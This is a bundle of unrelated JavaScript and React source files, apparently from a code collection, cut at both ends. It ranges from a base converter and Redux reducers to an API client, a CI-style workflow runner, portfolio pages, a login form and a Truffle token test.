this.data.eightadecimal= e.detail.value;
var timp = this.data.eightadecimal;
this.data.decimal = this.myparseInt(this.mytoString(timp), 8);
timp = this.data.decimal;
this.data.hexadecimal = this.mytoString((timp * 1.0), 16);
this.data.twoadecimal = this.mytoString((timp * 1.0), 2);
this.data.ASCIInum = String.fromCharCode(timp) == String.fromCharCode('') ? '' : String.fromCharCode(timp);
}
if (e.currentTarget.id === '16') { //16->>10 8 2
this.data.hexadecimal= e.detail.value;
var timp = this.data.hexadecimal;
this.data.decimal = this.myparseInt(this.mytoString(timp), 16);
timp = this.data.decimal;
this.data.eightadecimal = this.mytoString((timp * 1.0), 8);
this.data.twoadecimal = this.mytoString((timp * 1.0), 2);
this.data.ASCIInum = String.fromCharCode(timp) == String.fromCharCode('') ? '' : String.fromCharCode(timp);
}
//输出ASCII表值
if (e.currentTarget.id === 'ASCII') { //A->>10 8 2 16
this.data.ASCIInum = e.detail.value;
var timp = this.data.ASCIInum;
if (timp.length < 2){
this.data.decimal = timp.charCodeAt();
timp = this.data.decimal;
this.data.eightadecimal = this.mytoString((timp * 1.0), 8);
this.data.twoadecimal = this.mytoString((timp * 1.0), 2);
this.data.hexadecimal = this.mytoString((timp * 1.0), 16);
}else{
}
}
if (this.data.decimal != '')
if (this.data.decimal >= 0 && this.data.decimal <= 127)
this.data.ASCIInum_show = this.data.ASCIIshow[this.data.decimal];
else
this.data.ASCIInum_show = '请求超出127';
else
this.data.ASCIInum_show = '这里显示字符含义';
this.setData(
{
decimal: this.data.decimal,
eightadecimal: this.data.eightadecimal,
hexadecimal: this.data.hexadecimal,
twoadecimal: this.data.twoadecimal,
ASCIInum: this.data.ASCIInum,
ASCIInum_show: this.data.ASCIInum_show
}
)
},
emptied: function(){
this.setData({
decimal: '',
hexadecimal: '',
eightadecimal: '',
twoadecimal: '',
ASCIInum: '',
ASCIInum_show: '这里显示字符含义',
})
},
/**
* 生命周期函数--监听页面加载
*/
onLoad: function (options) {
},
/**
* 生命周期函数--监听页面初次渲染完成
*/
onReady: function () {
},
/**
* 生命周期函数--监听页面显示
*/
onShow: function () {
},
/**
* 生命周期函数--监听页面隐藏
*/
onHide: function () {
},
/**
* 生命周期函数--监听页面卸载
*/
onUnload: function () {
},
/**
* 页面相关事件处理函数--监听用户下拉动作
*/
onPullDownRefresh: function () {
},
/**
* 页面上拉触底事件的处理函数
*/
onReachBottom: function () {
},
/**
* 用户点击右上角分享
*/
onShareAppMessage: function () {
}
}) |
var searchData=
[
['_7eaffichagearticle',['~AffichageArticle',['../class_affichage_article.html#a54cf604738ea0a62cb4d995abb346b91',1,'AffichageArticle']]],
['_7eaffichagemultimedia',['~AffichageMultimedia',['../class_affichage_multimedia.html#a7070c0f0c35e0f7c021b35964dcf2a55',1,'AffichageMultimedia']]],
['_7eaffichagenote',['~AffichageNote',['../class_affichage_note.html#a27560d2c3c7a8ac7bdd89bfaa7c2127b',1,'AffichageNote']]],
['_7eaffichagetache',['~AffichageTache',['../class_affichage_tache.html#a3081ce5b07741781d496568ffd8b3497',1,'AffichageTache']]],
['_7eaffichagevideo',['~AffichageVideo',['../class_affichage_video.html#a3a43a6cd6b9608ea35c10c06ce0eead2',1,'AffichageVideo']]],
['_7earticle',['~Article',['../class_article.html#a5c429e49b30104b1069044d0e1a6aa1a',1,'Article']]],
['_7eaudio',['~Audio',['../class_audio.html#ae8f54deecb5f48511aaab469e80294d6',1,'Audio']]],
['_7eimage',['~Image',['../class_image.html#a0294f63700543e11c0f0da85601c7ae5',1,'Image']]],
['_7emainwindow',['~MainWindow',['../class_main_window.html#ae98d00a93bc118200eeef9f9bba1dba7',1,'MainWindow']]],
['_7emultimedia',['~MultiMedia',['../class_multi_media.html#a323723f4eede1ac364c6c79088fa0d85',1,'MultiMedia']]],
['_7enote',['~Note',['../class_note.html#ade484273015c82e7fa59a028de0d8818',1,'Note']]],
['_7erelation',['~Relation',['../class_relation.html#ad8bc5c349f9d98b15972fd0b09f341cc',1,'Relation']]],
['_7etache',['~Tache',['../class_tache.html#a7ff832b739f8365acbe60275c7868c63',1,'Tache']]],
['_7eversionnote',['~VersionNote',['../class_version_note.html#adfdd23d377d1d2ba594fe2bb51f740ed',1,'VersionNote']]],
['_7evideo',['~Video',['../class_video.html#aebf7e2a8fa2bbd79335b1cf35925d190',1,'Video']]]
];
|
import omit from 'lodash/omit';
import { types } from '../constants';
import { searchUsers } from '../services/searches';
const initialState = {
team: {},
boards: {},
members: {},
userEmails: [],
findedUserEmails: [],
loading: false
};
const processInvitableUser = (state, email) => {
const newFindedUserEmails = state.findedUserEmails.map(item => {
if (item.email === email) item.isInvited = true;
return item;
});
const newUserEmails = state.userEmails.map(item => {
if (item.email === email) item.isInvited = true;
return item;
});
return {
...state,
findedUserEmails: newFindedUserEmails,
userEmails: newUserEmails
};
};
export default (state = initialState, action) => {
switch (action.type) {
case types.GET_TEAM_START:
return { ...state, loading: true };
case types.GET_TEAM_SUCCESS:
return { ...state, ...action.payload, loading: false };
case types.CREATE_BOARD_FOR_TEAM:
return {
...state,
boards: { ...state.boards, [action.payload.id]: action.payload }
};
case types.DELETE_BOARD_SUCCESS:
return { ...state, boards: omit(state.boards, action.payload) };
case types.UPDATE_BOARD:
const { id, params } = action.payload;
return {
...state,
boards: { ...state.boards, [id]: { ...state.boards[id], ...params } }
};
case types.CREATE_TEAM_SUCCESS:
return {
...state,
boards: { ...state.boards, [action.payload.id]: action.payload }
};
case types.SEARCH_USERS:
return {
...state,
findedUserEmails: searchUsers(state.userEmails, action.payload)
};
case types.INVITE_USER:
return processInvitableUser(state, action.payload);
case types.AUTH_SIGN_OUT:
return initialState;
default:
return state;
}
};
|
"use strict";
module.exports = (sequelize, DataTypes) => {
const Model = sequelize.define(
"Model",
{
model_name: { allowNull: false, type: DataTypes.STRING },
brand_id: { allowNull: false, type: DataTypes.INTEGER },
createdAt: new Date(),
updatedAt: new Date()
},
{}
);
Model.associate = function(models) {
// associations can be defined here
Model.belongsTo(models.Brand, {
foreignKey: "brand_id",
onDelete: "CASCADE",
as: "brand_model"
});
Model.hasMany(models.Car, {
foreignKey: "car_model_id",
onDelete: "CASCADE",
as: "model_car"
});
};
return Model;
};
|
function (){
var email, contraseña;
email = document.getElementById('mail').value;
contraseña = document.getElementById('password').value;
expresion = /\w+@\w+\.+[a-z]/;
if (email ==="" || contraseña ==="") {
alert("Debe llenar todos los campos");
}
else if (email.length>50) {
alert("correo demasiado largo");
return false;
}
else if (contraseña.length>20) {
alert("contraseña demasiado largo");
return false;
}
else if (!expresion.test(email)){
alert("Digite un correo correcto");
return false;
}
} |
// Map, Reduce, Filter
'use strict';
function map(arr,fn){
let newArr = [];
for (let i = 0; i < arr.length; i++){
let result = fn(arr[i]);
newArr.push(result);
}
return newArr;
}
function reduce(arr,fn){
let reducedValue = 0;
let arrLen = arr.length;
if ( arrLen === 0){
return 0;
}
else if ( arrLen === 1){
return arr[0];
}
reducedValue = arr[0];
for (let i = 0; i+1 < arrLen; i++){
reducedValue = fn(reducedValue, arr[i+1]);
}
return reducedValue;
}
function sq(a){
return a*a;
}
console.log(map([2,3,4,5],sq));
console.log(map([2,3,4,5],(a) => a+5));
console.log(reduce([2,3,4,5],(a,b) => a+b));
|
import React from 'react';
const menu = [
{"texto":"Home", "link":"index.html"},
{"texto":"Contacto", "link":"contacto.html"},
{"texto":"Nosotros", "link":"about.html"}
];
const Nav = () => menu.map((nav, i) => <a href={nav.link}><li key={i}>{nav.texto}</li></a>)
export default Nav;
|
import axios from 'axios';
const baseURL = "https://nc-news-js.herokuapp.com/api"
export const getArticles = (sort_by, topic, author, order) => {
return axios.get(`${baseURL}/articles`, {
params: {
author: author,
topic: topic,
sort_by: sort_by,
order: order
}
}).then(({ data }) => {
return data.articles;
})
}
export const getArticle = (article_id) => {
return axios.get(`${baseURL}/articles/${article_id}`).then(response => {
return response.data.article;
})
}
export const getComments = (article_id) => {
return axios.get(`${baseURL}/articles/${article_id}/comments`).then(response => {
return response.data.comments
})
}
export const getTopics = () => {
return axios.get(`${baseURL}/topics`).then(response => {
return response.data.topics
})
}
export const handleVote = (id, type, num) => {
if (type === "article") {
return axios.patch(`${baseURL}/articles/${id}`, {
inc_votes: num
}).then(response => {
return response.data.article.votes
})
} else if (type === "comment") {
return axios.patch(`${baseURL}/comments/${id}`, {
inc_votes: num
}).then(response => {
return response.data.comment.votes
})
}
}
export const postComment = (username, value, article_id) => {
return axios.post(`${baseURL}/articles/${article_id}/comments`, {
username: username,
body: value
}).then(response => {
return response.data.comment
}).catch(err => {
console.log(err);
})
}
export const deleteComment = (comment_id) => {
return axios.delete(`${baseURL}/comments/${comment_id}`).then(() => {
return { msg: "Comment deleted", key: comment_id }
})
}
export const getUser = (username) => {
return axios.get(`${baseURL}/users/${username}`).then((userResponse) => {
return { avatar_url: userResponse.data.user.avatar_url, name: userResponse.data.user.name }
})
} |
import { API_ROUTES } from 'api/config';
import { CALL_API } from 'constants';
/**
*
* Fetch issues data from server
*
*/
export const FETCH_ISSUES = '@@issues/FETCH_ISSUES';
export const FETCH_ISSUES_SUCCESS = '@@issues/FETCH_ISSUES_SUCCESS';
export const fetchIssues = () => (dispatch, getState) => {
const { ids } = getState().issues;
if (ids.length > 0) {
return;
}
return dispatch({
type: FETCH_ISSUES,
[CALL_API]: {
actionType: FETCH_ISSUES_SUCCESS,
shouldNormalize: true,
url: API_ROUTES.issues
}
});
};
/**
*
* Fetch issue breakdown data from server
*
*/
export const FETCH_ISSUE_DETAILS = '@@issues/FETCH_ISSUE_DETAILS';
export const FETCH_ISSUE_DETAILS_SUCCESS = '@@issues/FETCH_ISSUE_DETAILS_SUCCESS';
export const fetchIssueDetails = () => (dispatch, getState) => {
const { byMonth } = getState().issues;
if (byMonth.length > 0) {
return;
}
return dispatch({
type: FETCH_ISSUE_DETAILS,
[CALL_API]: {
actionType: FETCH_ISSUE_DETAILS_SUCCESS,
url: API_ROUTES.issuesDetails
}
});
};
/**
*
* Update issue breakdown data from server
*
*/
export const UPDATE_ISSUE_DETAILS = '@@issues/UPDATE_ISSUE_DETAILS';
export const updateIssueDetials = data => ({
type: UPDATE_ISSUE_DETAILS,
payload: { ...data }
});
/**
*
* Sort issues data
*
*/
export const SET_ISSUE_SORT = '@@issues/SET_ISSUE_SORT';
export const setIssueSort = (key) => (dispatch, getState) => {
const { sort } = getState().issues;
const { active, isReverse, options } = sort;
const { getSort } = options[key]; // Gets the matching sorting function from key
if (!getSort) {
return;
}
const resetReverse = active !== key
? false
: isReverse
? false
: true;
return dispatch({
type: SET_ISSUE_SORT,
payload: {
active: key,
isReverse: resetReverse,
sortBy: getSort(resetReverse)
}
});
};
/**
*
* Set name filter
*
*/
export const SET_NAME_FILTER = '@@issues/SET_NAME_FILTER';
export const setNameFilter = value => ({
type: SET_NAME_FILTER,
payload: value
});
|
const execa = require("execa");
const asyncForEach = require("./asyncForEach");
const logger = require("signale");
const SyslogServer = require("./syslog-server");
const fs = require("fs");
const axios = require("axios");
const internalIp = require("internal-ip");
const Action = require("./action");
const Job = require("./job");
/**
* Main workflow runnner
*
*/
async function run(params) {
params.run.ip = internalIp.v4.sync();
let job = new Job({
run: params.run,
job: params.job,
secrets: params.secrets,
ports: params.ports
});
await job.createWorkspace();
await axios.patch(`http://localhost:3000/jobs/${job.job._id}`, {
status: "incomplete"
});
logger.info(`Started job: ${job.job.id}`);
asyncForEach(job.job.steps, async step => {
Object.assign(step.env || {}, {
GITHUB_SHA: params.run.event.after,
GITHUB_REF: params.run.event.ref,
GITHUB_WORKSPACE: job.path.workspace,
GITHUB_EVENT_PATH: params.run.event.path
});
var stepName = `${params.run._id}-step-${step._id}`;
step.syslog = {
port: params.ports.pop(),
server: new SyslogServer(),
broadcasting: false
};
step.syslog.server.on("message", data => {
let [time, msg] = data.message.split("]: ");
fs.appendFile(`${job.path.logs}/${stepName}.log`, msg, err => {
if (err) throw err;
if (step.syslog.broadcasting) {
return;
}
step.syslog.broadcasting = true;
let cmd = `npx websocketdjs --port ${step.port} tail -f ${job.path.logs}/${stepName}.log`;
logger.debug(cmd);
try {
execa.command(cmd), { shell: true };
} catch (e) {
logger.error("Failed to run websocketdjs");
logger.error(cmd);
logger.error(e);
process.exit(1);
}
});
});
try {
logger.debug(`Starting syslog server: ${step.syslog.port}`);
await step.syslog.server.start({
port: step.syslog.port,
exclusive: false
});
} catch (e) {
logger.error("Failed to start syslog for step");
logger.error(step);
logger.error(e);
process.exit(1);
}
let action = new Action({
job: job,
run: params.run,
step: step,
secrets: params.secrets
});
try {
await axios.patch(`http://localhost:3000/steps/${step._id}`, {
status: "incomplete"
});
logger.info("Step started");
await action.execute();
logger.success("Step complete");
await axios.patch(`http://localhost:3000/steps/${step._id}`, {
status: "complete"
});
step.syslog.server.stop();
} catch (e) {
logger.error(`Failed to execute action`);
console.log(e);
}
});
}
module.exports = run;
|
/*==============================header scripts==============================*/
let burger = document.getElementById("burger");
let burger_menu = document.getElementsByClassName("header__overlay")[0];
let burger_close = document.getElementsByClassName("close")[0];
burger.addEventListener("click", function() {
burger_menu.classList.toggle("show");
});
burger_close.addEventListener("click", function() {
burger_menu.classList.remove("show");
});
|
// Change the current window shown by toggling the active class
$ (' .main-menu a ').on ('click',function(){
var activeClass= $(this).attr('href').substring(1);
setTimeout( function(){
$('.content.active').removeClass('active');
$('.'+activeClass).addClass('active')
$('html, body').animate({
scrollTop: $($('.' + activeClass )) .offset().top
}, 500);
},300);
if(activeClass === 'portfolio'){
setTimeout(function(){
$('.filter-controls li')[0].click();
},300);
}
})
var type = window.location.hash.substr(1);
if(type){
$ ('.content.active').removeClass('active');
$('.'+type).addClass('active');
}
//Adds active class to the current portfolio item selected
$('.filter-control li').on('click',function(){
if(! $(this).hasClass('active')){
$('.filter-control li').removeClass('active');
$(this).addClass('active');
}
});
// Filterizr
var options = { };
var filterizr = new Filterizr('.filter-container', options);
// Magnific Popup
$( '.popup-link').magnificPopup ({
type: 'image'
});
|
import { useState } from 'react';
import { Modal, Button } from 'antd';
import './Modal.scss'
import AddIncomeForm from '../forms/AddIncomeForm';
const AddIncomeModal = () => {
const [isModalVisible, setIsModalVisible] = useState(false);
const showModal = () => {
setIsModalVisible(true);
};
const handleOk = () => {
setIsModalVisible(false);
};
const handleCancel = () => {
setIsModalVisible(false);
};
return (
<div>
<div className='income-modal'>
<Button type="primary" onClick={showModal}>
Add Income
</Button>
</div>
<Modal title="Add Income" visible={isModalVisible} footer={null} onOk={handleOk} onCancel={handleCancel}>
<AddIncomeForm handleOk={handleOk} />
</Modal>
</div>
)
}
export default AddIncomeModal
|
//Define an angular module for our app
var app = angular.module('asakawaApp', ['ngMaterial', 'duParallax', 'angular-preload-image', 'pdf']);
app.controller('appController', function($scope, $window, $timeout, $mdDialog, $mdMedia, contentService, parallaxHelper) {
const defaultDialogConfig = {
isPhone: false,
isEmail: false,
isResume: false,
isConfirm: false,
isAcademia: false,
isProjects: false,
isOpensource: false,
isFreelance: false,
content: {}
}
$scope.debug = false;
$scope.xsMedia = $mdMedia('xs');
$scope.smMedia = $mdMedia('sm');
$scope.terminalCommandList = contentService.getTerminalContent();
$scope.terminalCommandIndex = 0;
$scope.bio = contentService.getBioContent();
$scope.socialMedia = contentService.getSocialMedia();
$scope.contactInfo = contentService.getContactInfo();
$scope.tiles = contentService.getTiles();
$scope.dialog = defaultDialogConfig;
$scope.emailObject = {
name: '',
subject: '',
message: '',
}
$scope.copyright = contentService.getCopyRightInfo();
// init parallax background image
$scope.background = parallaxHelper.createAnimator(-0.5);
appLoad();
function appLoad() {
var loadingScreen = pleaseWait({
logo: "",
backgroundColor: '#FFF',
loadingHtml: ' \
<div class="spinner"> \
<div class="double-bounce1"></div> \
<div class="double-bounce2"></div> \
</div>'
});
// spin for a second, giving some time for the images to load.
// TODO: figure out something better
$timeout( function() {
loadingScreen.finish();
}, 1000);
}
$scope.delayRedirect = function(url) {
console.log('clicked social media button', url);
// let the ripple animation play out
$timeout(function() {
$window.open(url, '_blank');
}, 300)
}
$scope.clickTile = function(ev, index) {
console.log('clicked tile:', index);
resetDialogFlags();
switch(index) {
case 0:
$scope.dialog.isAcademia = true;
$scope.dialog.content = contentService.getAcademiaContent();
break;
case 1:
$scope.dialog.isProjects = true;
$scope.dialog.content = contentService.getProjectsContent();
break;
case 2:
$scope.dialog.isOpensource = true;
$scope.dialog.isLarge = true;
$scope.dialog.content = contentService.getOpensourceContent();
break;
case 3:
$scope.dialog.isFreelance = true;
$scope.dialog.content = contentService.getFreelanceContent();
break;
default:
break;
}
console.log('current state of dialog:', $scope.dialog)
showDialog(ev);
}
$scope.phone = function(ev) {
resetDialogFlags();
$scope.dialog.content = contentService.getPhoneContent();
$scope.dialog.isPhone = true;
showDialog(ev);
};
$scope.email = function(ev) {
resetDialogFlags();
$scope.dialog.content = contentService.getEmailContent();
$scope.dialog.isEmail = true;
showDialog(ev);
};
$scope.resume = function(ev) {
resetDialogFlags();
$scope.dialog.content = contentService.getResumeContent();
$scope.dialog.isResume = true;
$scope.dialog.isLarge = true;
showDialog(ev);
};
$scope.closeDialog = function() {
$timeout(function() {
$mdDialog.cancel();
}, 300)
}
$scope.cancelEmail = function() {
$timeout(function() {
$mdDialog.hide();
$scope.emailObject.name = $scope.emailObject.returnEmail = $scope.emailObject.message = '';
}, 300)
}
$scope.sendEmail = function() {
var nameSignature = '\n\n Message From - ' + $scope.emailObject.name
var emailPath = 'mailto:chris@asakawa.me';
emailPath += '?Subject=' + encodeURI($scope.emailObject.subject);
emailPath += '&Body=' + encodeURI($scope.emailObject.message);
emailPath += encodeURI(nameSignature);
$timeout(function() {
$mdDialog.cancel();
$window.open(emailPath, '_top');
}, 300)
}
function showDialog(ev) {
$scope.dialog = defaultDialogConfig;
$mdDialog.show({
contentElement: '#dialog',
parent: angular.element(document.body),
targetEvent: ev,
preserveScope: true,
clickOutsideToClose: true
});
}
function resetDialogFlags() {
$scope.dialog.isPhone = false;
$scope.dialog.isEmail = false;
$scope.dialog.isResume = false;
$scope.dialog.isLarge = false;
$scope.dialog.isAcademia = false;
$scope.dialog.isProjects = false;
$scope.dialog.isOpensource = false;
$scope.dialog.isFreelance = false;
}
});
|
import React from "react"
import CheckBoxItem from "./CheckBoxItem"
export default props => {
const { values, field, isChecked, onChange } = props
let complement = ""
if (field === "numero_piso") complement = "Piso "
return values.map(item => {
return (
<div className="col">
<CheckBoxItem
label={`${complement}${item}`}
value={item}
onChange={event => onChange(event, field)}
isChecked={isChecked[field][item]}
/>
</div>
)
})
}
|
/* eslint no-unused-expressions: "off" */
/* globals describe, it */
const { expect } = require('chai');
const config = require('../src/config');
describe('Config Module (config.js)', () => {
it('should return a config object populated from env vars', () => {
expect(config).to.have.property('NODE_ENV');
expect(config).to.have.property('HOST');
expect(config).to.have.property('PORT');
expect(config).to.have.property('LOG_FORMAT');
expect(config).to.have.property('DB_CLIENT');
expect(config).to.have.property('DB_CONNECTION_STRING');
expect(config).to.have.property('TEST_DB_CLIENT');
expect(config).to.have.property('TEST_DB_CONNECTION_STRING');
});
});
|
import React from 'react';
import Top from './top'
import '../App.css'
import View from './prev';
const Port=()=>{
return (
<div>
<Top home="HOME" portfolio="PORTFOLIO" contact="CONTACT"/>
<div className="wrap-card">
<div className="card">
<div className="title">
<h6 className="project-title">MailDevo</h6>
</div>
<div className="card-item">
<span className='tell'>
<p>
A simple mailing service , which comes with a simple and well documented API
</p>
</span>
</div>
<div className="view-part">
<View stat="Completed"/>
</div>
</div>
<div className="card">
<div className="title">
<h6 className="project-title">BAALEN</h6>
</div>
<div className="card-item">
<span className='tell'>
<p>
A web application which aids learning , by giving you some learning resources
</p>
</span>
</div>
<View stat="Completed"/>
</div>
<div className="card">
<div className="title">
<h6 className="project-title">NOTFLIX</h6>
</div>
<div className="card-item">
<span className='tell'>
<p>
NetFlix Desktop version clone
Desktop ( Desktop view ) version for Netflix website
</p>
</span>
</div>
<View stat="Completed"/>
</div>
<div className="card">
<div className="title">
<h6 className="project-title">O'CART</h6>
</div>
<div className="card-item">
<span className='tell'>
<p>
Demo of a simple carting app for desktop view ( Desktop version )
</p>
</span>
</div>
<View cons="under-construction" />
</div>
</div>
{/* other flex part */}
<br/>
<div className="wrap-card" >
<div className="card">
<div className="title">
<h6 className="project-title">GROWYN</h6>
</div>
<div className="card-item">
<span className='tell'>
<p>
Grow your social media account by getting more followers with just a simple click
</p>
</span>
</div>
<View stat="Completed"/>
</div>
<div className="card">
<div className="title">
<h6 className="project-title">COVID-19 TRACKER</h6>
</div>
<div className="card-item">
<span className='tell'>
<p>
Simple covid-19 tracker for all countries ,
shows the rate and cases of covid 19 in a particular country
</p>
</span>
</div>
<View stat="Completed"/>
</div>
<div className="card">
<div className="title">
<h6 className="project-title">CODE4MOM.js</h6>
</div>
<div className="card-item">
<span className='tell'>
<p>
A small Javascript Library for DOM manipulation , which has made accessing the Dom easy
</p>
</span>
</div>
<View open="open source"/>
</div>
<div className="card">
<div className="title">
<h6 className="project-title">INSTACLONE</h6>
</div>
<div className="card-item">
<span className='tell'>
<p>
Instagram profile page clone , just for fun and have the feel of insta
</p>
</span>
</div>
<View stat="Completed"/>
</div>
</div>
</div>
)
}
export default Port; |
import React from "react";
import ReactDOM from "react-dom";
import styled from "styled-components";
import "./styles.css";
import Circles from "./circlesDT";
import MyName from "./okslutsiv";
import AppBar from "./navigation";
function App() {
return (
<Main>
<Container className="App">
<Col6>
<MyName />
</Col6>
<Col6>
<Circles />
</Col6>
<AppBar />
</Container>
</Main>
);
}
const Main = styled.div`
width: 100%;
background-image: radial-gradient(circle at left center, white, transparent);
background-color: #c1ccc8;
@media (max-width: 600px) {
background-image: radial-gradient(circle at left top, white, transparent);
}
`;
const Container = styled.div`
max-width: 900px;
margin: 0 auto;
display: flex;
justify-content: space-around;
align-items: center;
position: relative;
flex-wrap: wrap;
min-height: calc(70vh - 4rem);
padding: 2rem;
`;
const Col6 = styled.div`
width: 80%;
@media (min-width: 600px) {
width: 40%;
}
`;
const rootElement = document.getElementById("root");
ReactDOM.render(<App />, rootElement);
|
var stepper = {};
// on Dom load
jQuery(function(){
stepper = new Stepper();
var pythagoras = new Pythagoras();
pythagoras.init(d3.select("#svgContainer").node());
stepper.registerCallback(1, pythagoras.onStep.bind(pythagoras)); // layer 1
var mathContainer = new MathContainer(d3.select("#mathContainer").node());
stepper.registerCallback(1, mathContainer.onStep.bind(mathContainer)); // layer 1
});
Number.prototype.clamp = function(min, max) {
return Math.min(Math.max(this, min), max);
}; |
import React, { useState } from "react";
import { useAuth0 } from "@auth0/auth0-react";
import { Upload, Button } from "antd";
import { UploadOutlined } from "@ant-design/icons";
import Toast from "./Toast";
const UploadPage = () => {
const [selectedPic, setSelectedPic] = useState(null);
const [successMsg, setSuccessMsg] = useState(null);
const [errorMsg, setErrorMsg] = useState(null);
const [loading, setLoading] = useState(false);
const { user } = useAuth0();
const handleValidation = (file) => {
if (file.type.startsWith("image/") === false) {
setErrorMsg("Invalid image type");
return Upload.LIST_IGNORE;
}
return true;
};
const handleFileInputChange = (e) => {
setSelectedPic(e.fileList[0] ? e.fileList[0].originFileObj : null);
};
const handleUpload = ({ file, onSuccess }) => {
setTimeout(() => {
onSuccess("ok");
}, 0);
};
const handleSubmit = async () => {
if (selectedPic === null) {
setErrorMsg("No image selected");
return;
}
const formData = new FormData();
formData.append("file", selectedPic);
formData.append("tags", user.name);
formData.append("upload_preset", "khxzubw4");
const options = {
method: "POST",
body: formData,
};
setLoading(true);
return fetch(
"https://api.Cloudinary.com/v1_1/dmrntqcp0/image/upload",
options
)
.then((res) => res.json())
.then(() => {
setLoading(false);
setSuccessMsg("Successfully stored image");
})
.catch((err) => {
setErrorMsg("Failed storing image to Cloudinary");
console.log(err);
});
};
return (
<div>
{loading ? (
<div>Loading...</div>
) : (
<div className="row mt-2">
<Toast msg={errorMsg} type="danger" />
<Toast msg={successMsg} type="success" />
<Upload
onChange={handleFileInputChange}
maxCount={1}
className="mr-2"
customRequest={handleUpload}
action={() => {}}
beforeUpload={handleValidation}
>
<Button icon={<UploadOutlined />}>Select Image</Button>
</Upload>
<Button onClick={() => handleSubmit()}>Submit</Button>
</div>
)}
</div>
);
};
export default UploadPage;
|
import React, { useEffect, useState } from 'react';
import {Link,Redirect} from 'react-router-dom';
import logo from '../../images/logo.png';
import googleplay from '../../images/google-play.png';
import appstore from '../../images/app-store.png';
import {authLogin} from '../../Redux/Store';
import './style.css';
import { useDispatch, useSelector } from 'react-redux';
import Loader from 'react-loader-spinner';
import Footer from '../../components/UI/authLayout/footer';
const LoginPage = (props) => {
const [emailOrMobOrUsername,setEmailOrMobOrUsername] = useState('');
const [password,setPassword] = useState('');
const [msg,setMsg] = useState(false);
const dispatch = useDispatch();
const loginUser = (emailOrMobOrUsername,password) =>{
dispatch(authLogin({emailOrMobOrUsername,password}))
setEmailOrMobOrUsername('');
setPassword('');
setMsg(true);
setTimeout(() => {
setMsg(false);
}, 3000);
}
const auth = useSelector(state =>state.auth);
if(auth.authenticate){
return <Redirect to={`/`} />
}
return (
<>
<div id="wrapper">
{ auth.authenticating ?
<div style={{display:'flex',alignItems:"center",justifyContent:"center",marginTop:150}}>
<Loader
type="Puff"
color="#ff1236"
height={100}
width={100}
/>
</div>
:
msg ?
<h1 style={{textAlign:"center"}}>{auth.msg}</h1>
:
<div className="container">
<div className="phone-app-demo"></div>
<div className="form-data">
<form action="">
<div className="logo">
<img src={logo} alt="logo" />
</div>
<input type="text" value={emailOrMobOrUsername} onChange={e=>setEmailOrMobOrUsername(e.target.value)} placeholder="Phone number, username, or email" autoComplete="off" />
<input type="password" value={password} onChange={e=>setPassword(e.target.value)} placeholder="Password" autoComplete="off" />
<button disabled={!emailOrMobOrUsername || !password} type='submit' className="form-btn btn" onClick={()=>loginUser(emailOrMobOrUsername,password)} >Log in</button>
<span className="has-separator">Or</span>
<Link className="facebook-login" to="#">
<i className="fab fa-facebook-square"></i> Log in with Facebook
</Link>
<Link className="password-reset" to="#">Forgot password?</Link>
</form>
<div className="sign-up">
Don't have an account? <Link to={`/signup`}>Sign up</Link>
</div>
<div className="get-the-app">
<span>Get the app.</span>
<div className="badges">
<img src={appstore} alt="app-store badge" />
<img src={googleplay} alt="google-play badge" />
</div>
</div>
</div>
</div>
}
<Footer />
</div>
</>
)
}
export default LoginPage; |
import React, { Component } from 'react'
import { findDOMNode } from 'react-dom'
import classNames from 'classnames'
import { NavLink } from 'react-router-dom'
import PropTypes from 'prop-types'
import { withStyles } from 'material-ui/styles'
import Typography from 'material-ui/Typography'
import Grid from 'material-ui/Grid'
import Paper from 'material-ui/Paper'
import Popover from 'material-ui/Popover'
import { MenuItem, MenuList } from 'material-ui/Menu'
import ArrowDropDown from 'material-ui-icons/ArrowDropDown'
import ArrowDropUp from 'material-ui-icons/ArrowDropUp'
import { ListItemIcon } from 'material-ui/List'
import Avatar from 'material-ui/Avatar'
const styles = theme => ({
hide: {
display: 'none',
},
avatar: {
width: 30,
height: 30,
marginTop: 5,
marginRight: 21,
marginBottom: 5,
marginLeft: 5,
// borderWidth: '1px',
// borderStyle: 'solid',
// borderColor: theme.palette.grey[300],
color: '#fff',
backgroundColor: theme.palette.primary[500],
fontSize: '0.8rem',
},
navLink: {
textDecoration: 'none',
},
})
class DrawerHeader extends Component {
constructor(props) {
super(props)
this.state = {
anchorElProfileMenu: null,
openProfileMenu: false,
}
}
handleProfileMenuOpen = () => {
this.setState({
openProfileMenu: true,
anchorElProfileMenu: findDOMNode(this.profileMenu),
})
}
handleProfileMenuClose = () => {
this.setState({ openProfileMenu: false })
}
render() {
const { classes, theme, openDrawer, userInfo } = this.props
const { anchorElProfileMenu, openProfileMenu } = this.state
let nameInitials = userInfo.firstName.charAt(0) + userInfo.lastName.charAt(0)
return (
<div>
<Grid container direction="row" alignItems="center" className={classNames(!openDrawer && classes.hide)}>
<Grid item>
<ListItemIcon>
<Avatar className={classes.avatar}>{nameInitials}</Avatar>
</ListItemIcon>
</Grid>
<Grid item>
<Grid
container
ref={node => {
this.profileMenu = node
}}
onClick={this.handleProfileMenuOpen}
style={{
cursor: 'pointer',
}}
>
<Typography type="body2">{userInfo.firstName}</Typography>
{openProfileMenu ? (
<ArrowDropUp color={theme.palette.grey[400]} />
) : (
<ArrowDropDown color={theme.palette.grey[400]} />
)}
</Grid>
<Popover
open={openProfileMenu}
anchorEl={anchorElProfileMenu}
anchorreference="anchorEl"
onRequestClose={this.handleProfileMenuClose}
anchorOrigin={{
vertical: 'bottom',
horizontal: 'center',
}}
transformOrigin={{
vertical: 'top',
horizontal: 'center',
}}
>
<Paper>
<MenuList role="menu">
<NavLink to={'/profile'} className={classes.navLink}>
<MenuItem>My Profile</MenuItem>
</NavLink>
{/*<MenuItem onClick={this.handleProfileMenuClose}>Logout</MenuItem>*/}
<MenuItem onClick={this.handleLogout}>Logout</MenuItem>
</MenuList>
</Paper>
</Popover>
</Grid>
</Grid>
</div>
)
}
}
DrawerHeader.propTypes = {
classes: PropTypes.object.isRequired,
theme: PropTypes.object.isRequired,
}
export default withStyles(styles, { withTheme: true })(DrawerHeader)
|
const Wolfgang = artifacts.require("Wolfgang");
contract("Wolfgang", (accounts) => {
before(async () =>{
wolfgang = await Wolfgang.deployed();
})
it("Gives the owner of the token 1m tokens", async () =>{
let balance = await wolfgang.balanceOf(accounts[0])
balance = web3.utils.fromWei(balance, 'ether')
assert.equal(balance, 1000000, "The owner should have 1m tokens")
})
it("Can transfer tokens between accounts", async () =>{
let amount = web3.utils.toWei('1000', 'ether')
await wolfgang.transfer(accounts[1], amount, {from: accounts[0]})
let balance = await wolfgang.balanceOf(accounts[1])
